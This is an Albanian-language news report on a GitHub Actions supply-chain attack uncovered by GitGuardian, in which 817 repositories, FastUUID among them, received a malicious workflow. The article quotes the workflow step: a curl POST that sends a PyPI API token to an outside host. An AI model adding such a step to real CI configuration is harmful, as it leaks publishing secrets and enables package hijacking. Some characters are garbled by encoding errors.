Hulumtuesit nga kompania GitGuardian zbuluan njĂ« sulm masiv ndaj pĂ«rdoruesve tĂ« GitHub, gjatĂ« tĂ« cilit u mor kontrolli mbi 327 llogari dhe u realizua inkuadrimi i njĂ« procesori tĂ« dĂ«mshĂ«m nĂ« 817 repositorĂ«. Sulmi çoi nĂ« rrjedhjen e 3325 sekreteve, tĂ« cilat pĂ«rdoren nĂ« sistemet e integrimit tĂ« vazhdueshĂ«m dhe tĂ« transmetuara pĂ«rmes variablave tĂ« mjedisit, duke pĂ«rfshirĂ« tokenet e aksesit pĂ«r PyPI, GitHub, NPM, DockerHub dhe ruajtjet e ndryshme nĂ« ĐŸĐ±Đ»Đ°ŃĐœŃŃ Ń ŃĐ°ĐœĐžĐ»ĐžŃĐ°ĐŒ.
GitHub Actions u ofron zhvilluesve të kodit mundësinë për të shtuar procesorë për automatizimin e operacioneve të ndryshme në GitHub. Për shembull, përmes GitHub Actions mund të realizohen verifikime dhe teste të caktuara gjatë kryerjes së komiteteve ose për të automatizuar trajtimin e Issues të reja. Procesori i dëmshëm u shpërnda me emrin "Github Actions Security" dhe përfshinte në seksionin "run" komandën "curl", e cila dërgonte përmbajtjen e variablave të mjedisit në një host të jashtëm gjatë ekzekutimit të detyrave në mjedisin e integrimit të vazhdueshëm. Komitimi i dëmshëm u shtua nga llogaritë e mbajtësve të projekteve, të cilat, më shumë se gjashtë mund të kenë qenë të hakuara ose viktima të phishing.
Sulmi u zbulua pas analizimit tĂ« aktivitetit tĂ« pazakontĂ«, tĂ« lidhur me paketĂ«n FastUUID, e cila ofron njĂ« lidhje Python mbi bibliotekĂ«n Rust UUID. Paketa FastUUID, pĂ«r tĂ« cilĂ«n nĂ« javĂ«n e fundit u regjistruan pothuajse 1.2 milion shkarkime, pĂ«rdoret si varĂ«sia nĂ« projektin populare LiteLLM, i cili ka mbi 5 milion shkarkime nĂ« javĂ« nĂ« PyPI. Analiza e ndryshimeve nĂ« repositorin FastUUID tregoi se mĂ« 2 Shtator, mbajtĂ«si i projektit shtoi njĂ« komit me njĂ« procesor tĂ« ri Github Action, nĂ« tĂ« cilin kishte kod pĂ«r dĂ«rgimin e tokenit tĂ« repositorit PyPI nĂ« njĂ« host tĂ« jashtĂ«m. â name: Github Actions Security run: | curl -s -X POST -d âPYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}â https://bold-dhawan.45-139-104-115.plesk.page
Problemi u zbulua para se keqbĂ«rĂ«sit tĂ« pĂ«rfitojnĂ« nga tokeni i kapur â publikimi i ndryshimeve tĂ« dĂ«mshme ose versione tĂ« modifikuara tĂ« paketĂ«s nĂ« PyPI pĂ«r FastUUID nuk u regjistrua. ZĂ«vendĂ«sime tĂ« ngjashme tĂ« Github Action janĂ« zbuluar gjithashtu nĂ« 816 depo, pronarĂ«t e tĂ« cilave, si dhe administrata e PyPI, GitHub, NPM dhe DockerHub, kanĂ« marrĂ« njoftime. Sipas gjendjes tĂ« mbrĂ«mjes sĂ« sĂ« djeshmes, komitetet e dĂ«mshme janĂ« anuluar nĂ« rreth 100 depo. Aktualisht, gjatĂ« kĂ«rkimit nĂ« GitHub, identifikohen 671 komitete me Github Action tĂ« dĂ«mshme.
Burimi: opennet.ru
